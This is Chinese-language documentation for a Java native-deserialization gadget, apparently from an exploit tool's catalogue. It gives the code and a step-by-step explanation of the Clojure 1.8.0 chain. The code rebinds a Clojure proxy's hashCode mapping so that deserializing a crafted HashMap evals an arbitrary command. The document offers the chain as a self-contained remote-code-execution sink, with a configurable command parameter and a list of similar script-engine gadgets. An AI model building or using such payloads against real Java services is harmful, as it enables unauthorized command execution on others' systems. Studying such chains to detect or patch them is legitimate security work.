- 类别:javanative 别名:— 优先级:未标注(默认)
- 作者:JackOfMostTrades
- 依赖:
org.clojure:clojure:1.8.0
利用 Clojure 运行时的动态代理 clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a,把恶意 Clojure 代码绑定到 hashCode 函数映射上,使其在 HashMap.readObject → key.hashCode() 时被 eval,直接命令执行。是一条自成闭环的 sink 链尾(END),无需再接下游。
- 入口
tags:JavaNativeDeserialize、END—— 既承接原生反序列化入口,又是链尾(END):自身即完成 RCE,不再向后衔接。 - 衔接
nextTags:无(空)。 excludes:无。
@Param(name="linux命令")
public String cmd = "calc";
public Map<?, ?> getObject() throws Exception {
String clojurePayload = ClojureUtil.makeClojurePayload(this.cmd); // 把 cmd 编成 Clojure 表达式
HashMap<String, Object> fnMap = new HashMap<String, Object>();
fnMap.put("hashCode", new core.constantly().invoke((Object)0)); // 先绑一个无害 hashCode=常量0
proxy.AbstractTableModel.ff19274a model = new proxy.AbstractTableModel.ff19274a();
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); // 用无害映射初始化代理
HashMap<proxy.AbstractTableModel.ff19274a, Object> targetMap = new HashMap<>();
targetMap.put(model, null); // 此刻 put 走无害 hashCode,避免构造期自爆
fnMap.put("hashCode", new core.comp().invoke( // 再把 hashCode 换成 comp(eval_opt, constantly(payload))
(Object)new main.eval_opt(),
new core.constantly().invoke((Object)clojurePayload)));
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); // 重新初始化:此后 hashCode() 即执行 payload
return targetMap;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject(); // 链尾,不调用 chain.doCreate
}逐段说明:
ClojureUtil.makeClojurePayload(cmd)把用户命令拼成一段 Clojure 源码字符串。proxy$...ff19274a是 Clojure 的动态代理类,其方法分发由「函数映射」__initClojureFnMappings决定。这里把hashCode键映射到不同的 Clojure 函数:- 第一次绑定
constantly(0)(hashCode恒返回 0)——目的是让下一步targetMap.put(model, null)在构造阶段计算model.hashCode()时安全返回,不触发 payload、也不报错。 put完成后,把model已经安置进targetMap的桶里。- 第二次把
hashCode重绑为comp(eval_opt, constantly(payload)):即hashCode()被调用时先constantly返回 payload 字符串,再交给clojure.main$eval_opt求值——eval掉那段命令执行代码。
- 第一次绑定
- 触发点:
targetMap被反序列化时,HashMap.readObject会对键重新hash(key) → key.hashCode(),此刻model.hashCode()走的已是第二次绑定的comp(eval_opt, ...),命令被执行。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
linux命令 | 要执行的命令,经 ClojureUtil.makeClojurePayload 编成 Clojure 表达式后 eval |
calc |
任意字符串 |
- 依赖
org.clojure:clojure:1.8.0,目标环境需存在 Clojure 运行时(含clojure.inspector代理与clojure.main)。 - 经典 JackOfMostTrades(ysoserial
Clojure)gadget:核心是「动态代理函数映射 + HashMap.readObject 重算 hashCode」触发eval。 - 「两次
__initClojureFnMappings」是关键技巧:先无害初始化以安全完成put,再改绑恶意函数,绕开构造期就触发的问题。 - 参数名虽写 "linux命令",但本质是
eval一段 Clojure 表达式,跨平台与否取决于ClojureUtil.makeClojurePayload的实现与目标系统。
自由构件,未直接出现在 51 条预设链中。因带 END 标签,可直接作为原生反序列化入口的完整 sink 单独使用。
- 无下游(
nextTags为空,END链尾)。 - 同类「原生反序列化直达 RCE、自带 sink」的 gadget:
BeanShell1、Jython1、Groovy等第三方脚本引擎系 gadget。